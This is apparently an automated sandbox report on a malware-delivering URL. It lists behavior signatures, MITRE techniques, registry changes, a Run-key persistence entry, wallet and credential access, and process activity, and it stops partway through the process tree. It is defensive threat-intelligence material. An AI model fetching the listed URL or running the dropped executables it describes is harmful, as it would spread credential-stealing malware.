hxxps://www[.]divinex[.]to[:]443/get[.]php?id=16

user interaction
yes
max time kernel
159s
max time network
159s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/10/2026, 17:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.divinex.to:443/get.php?id=16
Sample261026-wfrbmsgv4k

Score

8^/10

adware discovery persistence ransomware spyware

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
24	5924	curl.exe

Executes dropped EXE 2 IoCs

pid	Process
2664	0e5a8b780.exe
5992	0e5a8b780.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Windows\CurrentVersion\Run\qemu-ga = "C:\\Users\\Admin\\AppData\\Local\\Temp\\0e5a8b780.exe"	0e5a8b780.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
3	api.ipify.org
35	api.ipify.org
1	ip-api.com

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\LGHUB\slaassoomuess.inf	DvnX.exe
File opened for modification	C:\Program Files\sabbatical\troosingeiarr.cfg	explorer.exe
File opened for modification	C:\Program Files (x86)\gathering\uiartsoolly.inf	DvnX.exe
File opened for modification	C:\Program Files\tourney\eatoays.dat	DvnX.exe
File opened for modification	C:\Program Files (x86)\LGHUB\slaassoomuess.inf	DvnX.exe
File opened for modification	C:\Program Files\ShareX\auetyeodly.inf	explorer.exe
File opened for modification	C:\Program Files (x86)\gathering\uiartsoolly.inf	DvnX.exe
File opened for modification	C:\Program Files\tourney\eatoays.dat	DvnX.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	0e5a8b780.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	0e5a8b780.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5972	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Modifies registry class 55 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3 = 4e003100000000005a5daa8e100044766e5800003a0009000400efbe5a5da68e5a5daa8e2e00000042bb01000000040000000000000000000000000000006c59db00440076006e005800000014000000	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WFlags = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\ShowCmd = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616209"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 03000000020000000100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\HotKey = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\NodeSlot = "5"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
6140	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5788	chrome.exe
5788	chrome.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6140	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	5788	chrome.exe
Token: SeCreatePagefilePrivilege	5788	chrome.exe
Token: SeShutdownPrivilege	6140	explorer.exe
Token: SeCreatePagefilePrivilege	6140	explorer.exe
Token: SeShutdownPrivilege	6140	explorer.exe
Token: SeCreatePagefilePrivilege	6140	explorer.exe
Token: SeShutdownPrivilege	6140	explorer.exe
Token: SeCreatePagefilePrivilege	6140	explorer.exe
Token: SeShutdownPrivilege	6140	explorer.exe
Token: SeCreatePagefilePrivilege	6140	explorer.exe
Token: SeShutdownPrivilege	6140	explorer.exe
Token: SeCreatePagefilePrivilege	6140	explorer.exe
Token: SeShutdownPrivilege	6140	explorer.exe
Token: SeCreatePagefilePrivilege	6140	explorer.exe
Token: SeShutdownPrivilege	6140	explorer.exe
Token: SeCreatePagefilePrivilege	6140	explorer.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
2996	DvnX.exe
6140	explorer.exe
2084	DvnX.exe

Suspicious use of SendNotifyMessage 30 IoCs

pid	Process
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
5788	chrome.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe
6140	explorer.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 5788 wrote to memory of 5524	5788	chrome.exe	89
PID 5788 wrote to memory of 5976	5788	chrome.exe	91
PID 5788 wrote to memory of 5972	5788	chrome.exe	92
PID 5788 wrote to memory of 5976	5788	chrome.exe	91
PID 5788 wrote to memory of 6096	5788	chrome.exe	93
PID 5788 wrote to memory of 6096	5788	chrome.exe	93
PID 5788 wrote to memory of 1204	5788	chrome.exe	95
PID 5788 wrote to memory of 2244	5788	chrome.exe	96
PID 5788 wrote to memory of 1204	5788	chrome.exe	95
PID 5788 wrote to memory of 2244	5788	chrome.exe	96
PID 5788 wrote to memory of 5280	5788	chrome.exe	97
PID 5788 wrote to memory of 5280	5788	chrome.exe	97
PID 5788 wrote to memory of 3228	5788	chrome.exe	98
PID 5788 wrote to memory of 3452	5788	chrome.exe	100
PID 5788 wrote to memory of 2948	5788	chrome.exe	101
PID 5788 wrote to memory of 3452	5788	chrome.exe	100
PID 5788 wrote to memory of 2948	5788	chrome.exe	101
PID 5788 wrote to memory of 2832	5788	chrome.exe	104
PID 5788 wrote to memory of 4116	5788	chrome.exe	105
PID 5788 wrote to memory of 2832	5788	chrome.exe	104
PID 5788 wrote to memory of 4116	5788	chrome.exe	105
PID 5788 wrote to memory of 5340	5788	chrome.exe	106
PID 5788 wrote to memory of 5340	5788	chrome.exe	106
PID 5788 wrote to memory of 2516	5788	chrome.exe	107
PID 5788 wrote to memory of 2516	5788	chrome.exe	107
PID 5788 wrote to memory of 4628	5788	chrome.exe	108
PID 5788 wrote to memory of 4628	5788	chrome.exe	108
PID 5788 wrote to memory of 1356	5788	chrome.exe	109
PID 5788 wrote to memory of 5552	5788	chrome.exe	110
PID 5788 wrote to memory of 5552	5788	chrome.exe	110
PID 2996 wrote to memory of 6140	2996	DvnX.exe	82
PID 6140 wrote to memory of 2084	6140	explorer.exe	117
PID 2084 wrote to memory of 6140	2084	DvnX.exe	82
PID 6140 wrote to memory of 5924	6140	explorer.exe	118
PID 6140 wrote to memory of 2664	6140	explorer.exe	120
PID 6140 wrote to memory of 2668	6140	explorer.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	24	curl/8.8.0

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:6140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.divinex.to:443/get.php?id=16
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd9c07c728,0x7ffd9c07c734,0x7ffd9c07c740
    3⤵
    PID:5524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,1205496253055748285,11305456692455774466,262144 --field-trial-handle=2076,i,15174368080766917177,16658199144515134360,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:2
    3⤵
    PID:5976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1280,i,2825340156057567204,14047976144394832756,524288 --field-trial-handle=2076,i,15174368080766917177,16658199144515134360,262144 --variations-seed-version --mojo-platform-channel-handle=2112 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
